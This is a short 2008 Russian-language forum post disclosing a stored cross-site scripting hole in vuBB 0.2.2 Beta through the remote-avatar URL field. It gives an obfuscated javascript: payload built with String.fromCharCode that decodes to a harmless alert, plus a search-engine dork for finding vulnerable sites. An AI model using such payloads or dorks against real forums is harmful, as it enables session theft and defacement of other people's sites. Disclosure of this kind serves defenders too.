15.12.2008, 18:26
|
|
Banned
Регистрация: 19.12.2007
Сообщений: 924
Провел на форуме:
4192567
Репутация:
2145
|
|
vuBB 0.2.2 Beta
Vendor: vubb.net
Active XSS
Есть возможность указать URL удаленной аватарки.
Вставляем вместо адреса код:
Код:
javascript:eval(String.fromCharCode(97,108,101,114,116,40,120,115,115,41,59))
Dork: "Copyright 2005-2006 vuBB"
(с) iddqd
Последний раз редактировалось iddqd; 15.12.2008 в 18:29..
|
|
|